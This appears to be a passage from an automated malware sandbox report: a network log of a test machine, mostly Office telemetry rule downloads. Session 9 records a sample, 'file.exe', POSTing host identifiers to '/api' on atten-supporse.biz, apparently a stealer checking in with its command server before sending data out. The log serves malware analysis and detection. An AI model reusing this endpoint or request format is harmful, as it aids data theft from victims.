3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:12 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:12 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164112Z-174f78459684bddphC1EWRbht400000015x000000000gzn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:13 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:12 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:12 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164112Z-174f7845968xr5c2hC1EWRd0hn0000000r0g00000000h2hk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:13 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:12 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:12 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164112Z-174f7845968kvnqxhC1EWRmf3g0000000t3g0000000008ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:13 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:12 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:12 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2c78b3d6-001e-0017-21e0-430c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164112Z-174f78459688l8rvhC1EWRtzr00000000kqg00000000s7f1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:13 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:12 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:12 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164112Z-174f7845968zgtf6hC1EWRqd8s0000000z4000000000han2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:13 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49708	104.21.16.9	443	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:14 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C7W2BJOD7Y4V8V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15058 Host: atten-supporse.biz
2024-12-03 16:41:14 UTC	15058	OUT	Data Raw: 2d 2d 43 37 57 32 42 4a 4f 44 37 59 34 56 38 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 38 30 38 46 45 37 32 35 33 35 38 37 34 38 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 43 37 57 32 42 4a 4f 44 37 59 34 56 38 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 37 57 32 42 4a 4f 44 37 59 34 56 38 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 43 37 Data Ascii: --C7W2BJOD7Y4V8VContent-Disposition: form-data; name="hwid"49808FE72535874858D6DA241434FD08--C7W2BJOD7Y4V8VContent-Disposition: form-data; name="pid"2--C7W2BJOD7Y4V8VContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--C7
2024-12-03 16:41:16 UTC	1016	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=18i73tkhsest9guiqh7i33ej4p; expires=Sat, 29-Mar-2025 10:27:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HARzbBsLHTDSC7xon1P48v9mG7jkjTxbNbwQrxxBWJjUo77TJnvoGxkqVFJbmup%2BZHGU6S7yTlNt%2FbW1JUTddjH2Mj1c42VwSb0DB3sIrDAqc6dNrgjwEyoJeCyIvw1hFNjIHm0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec500c83f49c338-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1653&min_rtt=1653&rtt_var=826&sent=21&recv=24&lost=0&retrans=1&sent_bytes=4234&recv_bytes=15996&delivery_rate=32299&cwnd=228&unsent_bytes=0&cid=e3a2d6a34612782f&ts=2793&x=0"
2024-12-03 16:41:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-03 16:41:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:15 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:15 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: f10bf410-001e-0079-0502-4512e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164115Z-174f7845968cs2nkhC1EWR2tq000000001wg00000000bz93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:15 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
